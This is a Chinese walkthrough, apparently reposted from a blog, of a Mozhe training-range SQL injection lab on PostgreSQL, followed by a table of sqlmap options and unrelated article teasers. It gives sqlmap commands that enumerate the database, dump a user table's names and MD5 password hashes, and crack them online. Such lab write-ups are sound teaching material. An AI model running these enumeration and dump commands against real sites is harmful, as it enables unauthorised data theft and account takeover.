墨者:通過sqlmap解決SQL手工注入漏洞測試(PostgreSQL數據庫)

使用Kali Linux中的sqlmap工具進行PostgreSQL手工注入漏洞測試實戰

前言

SQL注入是Web安全中最常見的漏洞之一。本文將演示如何使用Kali Linux中的sqlmap工具對PostgreSQL數據庫進行手工注入測試,通過實戰案例幫助安全研究人員更好地理解漏洞原理和測試方法。

測試環境說明

  • 靶場地址:http://124.70.71.251:47707/new_list.php?id=1
  • 數據庫類型:PostgreSQL
  • 工具:Kali Linux內置sqlmap

一、sqlmap基本介紹

sqlmap是一款開源的自動化SQL注入工具,能夠檢測和利用SQL注入漏洞,支持多種數據庫類型。

主要功能:

  • 自動識別注入點
  • 支持多種數據庫
  • 數據提取和導出
  • 密碼哈希破解
  • 操作系統命令執行

二、實戰測試步驟(以自己的ip地址為準)

1. 獲取所有數據庫名

sqlmap -u "http://124.70.71.251:47707/new_list.php?id=1" --dbs

參數說明

  • -u:指定目標URL
  • --dbs:枚舉所有數據庫

預期輸出

available databases [1]:
[*] public

在這里插入圖片描述
在這里插入圖片描述

2. 獲取目標數據庫的表名

假設目標庫為public

sqlmap -u "http://124.70.71.251:47707/new_list.php?id=1" -D public --tables

參數說明

  • -D:指定數據庫名
  • --tables:枚舉指定數據庫的所有表

預期輸出

Database: public
[2 tables]
+-----------+
| notice    |
| reg_users |
+-----------+

在這里插入圖片描述

3. 獲取表結構(字段名)

針對reg_users表:

sqlmap -u "http://124.70.71.251:47707/new_list.php?id=1" -D public -T reg_users --columns

參數說明

  • -T:指定表名
  • --columns:枚舉表的所有列

預期輸出

Database: public
Table: reg_users
[4 columns]
+----------+---------+
| Column   | Type    |
+----------+---------+
| name     | varchar |
| status   | int4    |
| id       | int4    |
| password | varchar |
+----------+---------+

在這里插入圖片描述
在這里插入圖片描述

4. 導出用戶名和密碼數據

sqlmap -u "http://124.70.71.251:47707/new_list.php?id=1" -D public -T reg_users -C "name,password" --dump

參數說明

  • -C:指定要導出的列
  • --dump:導出數據

預期輸出

Database: public
Table: reg_users
[2 entries]
+--------+----------------------------------+
| name   | password                         |
+--------+----------------------------------+
| mozhe1 | a7d99ac11a815b451c0fc458bc5a4a32 |
| mozhe2 | 1c63129ae9db9c60c3e8aa94d3e00495 |
+--------+----------------------------------+

在這里插入圖片描述
在這里插入圖片描述

5. 假如重啟了靶場,發現mozhe1的密碼保持不變

建議使用下面的命令,用sqlmap重新導出數據,確保獲取最新哈希

sqlmap -u "http://靶場URL/new_list.php?id=1" -D public -T reg_users -C "password" --fresh-queries --dump

參數說明

  • --fresh-queries:強制sqlmap忽略緩存,重新查詢數據庫。

6. 對密碼進行MD5解密

工具:https://www.cmd5.com/,將mozhe1的密碼放入工具中解密即可,手動登錄獲取Key
在這里插入圖片描述

三、sqlmap關鍵參數功能表(PostgreSQL注入測試)

參數功能說明使用示例適用場景
-u指定目標URL(必須包含注入參數)-u "http://example.com/page.php?id=1"基礎注入檢測
--dbs枚舉所有可訪問的數據庫名sqlmap -u "URL" --dbs信息收集階段
-D指定目標數據庫名-D public需配合--tables--columns使用
--tables枚舉指定數據庫中的所有表名sqlmap -u "URL" -D public --tables確定目標數據表
-T指定目標表名-T reg_users需配合--columns--dump使用
--columns枚舉指定表的所有列名(字段名)sqlmap -u "URL" -D public -T reg_users --columns分析表結構
-C指定要操作的列名(可多選,逗號分隔)-C "name,password"精確提取數據
--dump導出指定表或列的數據sqlmap -u "URL" -D public -T reg_users -C "name,password" --dump獲取敏感數據
--batch自動選擇默認選項(非交互模式)sqlmap -u "URL" --batch批量測試時使用
--risk設置風險等級(1-3,默認1)
? 1: 低風險(如AND 1=1
? 3: 高風險(如OR 1=1
--risk=3需要繞過WAF時
--level設置測試深度(1-5,默認1)
? 1: 僅測試URL參數
? 3: 包含Header注入
? 5: 全參數測試
--level=5全面檢測時使用

本文來自互聯網用戶投稿,該文觀點僅代表作者本人,不代表本站立場。本站僅提供信息存儲空間服務,不擁有所有權,不承擔相關法律責任。
如若轉載,請注明出處:http://www.pswp.cn/diannao/93194.shtml
繁體地址,請注明出處:http://hk.pswp.cn/diannao/93194.shtml
英文地址,請注明出處:http://en.pswp.cn/diannao/93194.shtml

如若內容造成侵權/違法違規/事實不符,請聯系多彩編程網進行投訴反饋email:809451989@qq.com,一經查實,立即刪除!

相關文章

Linux筆記5——常用命令-4

幫助命令man 命令(查看命令的幫助)注:C7版本中有中文解釋例:man lsman -f 命令 #查看命令有哪些級別的幫助,使用前要執行mandb生成man緩存信息,否則命令執行不成功man級別1.查看命令的幫助3.查看函數…

優化Linux高并發:文件描述符與端口范圍的協同調優

既然已經通過調整nofile(最大文件描述符數量)來支持高并發,為什么還需要調整net.ipv4.ip_local_port_range(本地端口范圍)?這兩個參數看似都與高并發有關,但它們的作用和影響范圍不同。 1. 文件…

.NET-鍵控服務依賴注入

有時候我們在服務注冊的時候會遇到這樣一個場景,我們的同一個接口,有著多個實現,且我們還要同時使用這些實現的時候,這個時候該怎么辦?我們可以使用鍵控服務依賴注入 鍵控服務依賴注入(Keyed Dependency In…

VTK交互——ImageClip

概要 這段代碼https://examples.vtk.org/site/Cxx/Interaction/ImageClip/實現了一個交互式圖像裁剪工具,使用VTK庫創建了一個雙窗口界面,左側顯示原始圖像,右側顯示裁剪后的圖像。用戶可以通過拖動邊框小部件在左側圖像上選擇裁剪區域,右側窗口會實時顯示裁剪結果。 代…

【vue vapor jsx 未雨綢繆】

隨著vue3.6.0 alpha的發布,vapor mode進入正式版本只是時間上的問題,可以預見的是各個組件庫都將積極適配vapor,這篇文章主要側重vue中使用jsx而非SFC,所以不涉及template相關。目前vue官方也是提供了vue-jsx-vapor這個倉庫&#…

go語言數據結構與排序算法

package mainimport "fmt"func main() {Bubble_Sort()Select_Sort()Insert_Sort()Shell_Sort()Heap_Sort()Merge_Sort()Quick_Sort() }一、1、冒泡排序 // 冒泡排序 func Bubble_Sort() {str : []int{9, 1, 5, 8, 3, 7, 4, 6, 2}// 正向冒泡for i : 0; i < len(st…

Petalinux生成文件的關系

1. 生成文件概述BOOT.BIN是引導程序&#xff0c;包括了 u-boot.elf是build u-boot生成的zynq_fsbl.elf&#xff08;引導PS和PL的啟動&#xff09;elf文件是和啟動引導相關的文件image.ub是鏡像文件roofs.cpio.gz用來構建根文件系統

MongoDB的操作

在 Java 中操作 MongoDB 的 增刪改查&#xff08;CRUD&#xff09; 主要有兩種方式&#xff1a; Spring Data MongoDB&#xff08;推薦&#xff0c;類似 JPA 風格&#xff09;MongoDB Java Driver&#xff08;原生 API&#xff0c;更靈活&#xff09;1. Spring Data MongoDB 方…

getConnectionOwnerUid

在Android系統中&#xff0c;為了進行網絡權限控制、流量統計等&#xff0c;需要將網絡連接&#xff08;如Socket&#xff09;與發起該連接的應用UID關聯起來。這種關聯通常在內核中建立&#xff0c;并在用戶空間通過一些接口進行查詢。 1. 內核中的實現基礎 Linux內核中&#…

開源 Arkts 鴻蒙應用 開發(十)通訊--Http數據傳輸

文章的目的為了記錄使用Arkts 進行Harmony app 開發學習的經歷。本職為嵌入式軟件開發&#xff0c;公司安排開發app&#xff0c;臨時學習&#xff0c;完成app的開發。開發流程和要點有些記憶模糊&#xff0c;趕緊記錄&#xff0c;防止忘記。 相關鏈接&#xff1a; 開源 Arkts …

net8.0一鍵創建支持(RabbitMQ)

Necore項目生成器 - 在線創建Necore模板項目 | 一鍵下載 RabbitMQController.cs using Microsoft.AspNetCore.Http; using Microsoft.AspNetCore.Mvc; using RabbitMQ.Client; using RabbitMQ.Client.Events; using System.Text; using System.Threading.Tasks; using UnT.Tem…

Rust 泛型與特性

Rust 泛型與特性 引言 Rust 語言以其安全性和高效性在編程語言中獨樹一幟。Rust 的泛型和特性是其核心特性之一,它們使得開發者能夠編寫更加通用、靈活且安全的代碼。本文將深入探討 Rust 中的泛型和特性,包括其概念、用法以及在實際開發中的應用。 泛型簡介 概念 泛型是…

LangChain學習——結構化輸出和數據解析

LangChain 本指南全面介紹LangChain中結構化輸出生成和數據解析的核心功能&#xff0c;包括Pydantic BaseModel構造、各種輸出解析器的使用&#xff0c;以及高級錯誤處理機制。 詳細測試樣例和代碼可參考如下兩個鏈接&#xff1a; test_output_parserstest_pydantic_base_mo…

基于華為ENSP的BGP的狀態機深入淺出

本篇技術博文摘要 &#x1f31f; 本文章主要探討BGP狀態機如何控制BGP連接的建立與維護&#xff0c;以及BGP協議在運行過程中如何交換路由信息并確保網絡的穩定性 引言 &#x1f4d8; 在這個快速發展的技術時代&#xff0c;與時俱進是每個IT人的必修課。我是腎透側視攻城獅&…

Android 15中的16KB大頁有何優勢?

deepseek回答&#xff1a; Android 15引入的16KB大內存頁是系統性能優化的關鍵變革&#xff0c;其核心優勢體現在以下方面&#xff1a; ? 一、性能全面提升 系統整體加速 配置16KB頁面的設備整體性能提升5%-10%&#xff0c;通過減少內存管理開銷釋放更多資源用于應用運行。…

Gis數據的A*算法規劃航線

1.1 用到的技術棧geotools JTSJgrapht1.2 實現思路// 定義柵格網格參數private static final double CELL_SIZE_DEGREES 0.005;private static int gridWidth 0;//格子高度 index 1private static int gridHeight 0;//格子寬度// 1. 讀取GeoJSON文件File geoJsonFile new …

Spring Boot 默認使用 CGLIB,但CGLIB 無法代理 final 類或 final 方法

那么當這兩件事沖突時&#xff0c;Spring Boot 是怎么“解決”的呢&#xff1f;答案是&#xff1a;它不解決&#xff0c;也無法解決。當這種情況發生時&#xff0c;你的應用程序會直接啟動失敗。這不是 Spring Boot 的疏忽&#xff0c;而是由 CGLIB 的底層原理和 Java 語言的規…

cuda編程筆記(10)--memory access 優化

全局內存訪問優化&#xff08;Coalesced Access&#xff09; 什么是 Coalesced Access&#xff1f; 定義&#xff1a;一個 warp&#xff08;32 個線程&#xff09;在同一指令中訪問全局內存時&#xff0c;如果這些訪問請求可以合并成盡可能少的內存事務&#xff08;通常是 32…

閑庭信步使用圖像驗證平臺加速FPGA的開發:第三十一課——車牌識別的FPGA實現(3)車牌字符分割預處理

&#xff08;本系列只需要modelsim即可完成數字圖像的處理&#xff0c;每個工程都搭建了全自動化的仿真環境&#xff0c;只需要雙擊top_tb.bat文件就可以完成整個的仿真&#xff0c;大大降低了初學者的門檻&#xff01;&#xff01;&#xff01;&#xff01;如需要該系列的工程…

電子電氣架構 --- 汽車軟件全生命周期

我是穿拖鞋的漢子,魔都中堅持長期主義的汽車電子工程師。 老規矩,分享一段喜歡的文字,避免自己成為高知識低文化的工程師: 簡單,單純,喜歡獨處,獨來獨往,不易合同頻過著接地氣的生活,除了生存溫飽問題之外,沒有什么過多的欲望,表面看起來很高冷,內心熱情,如果你身…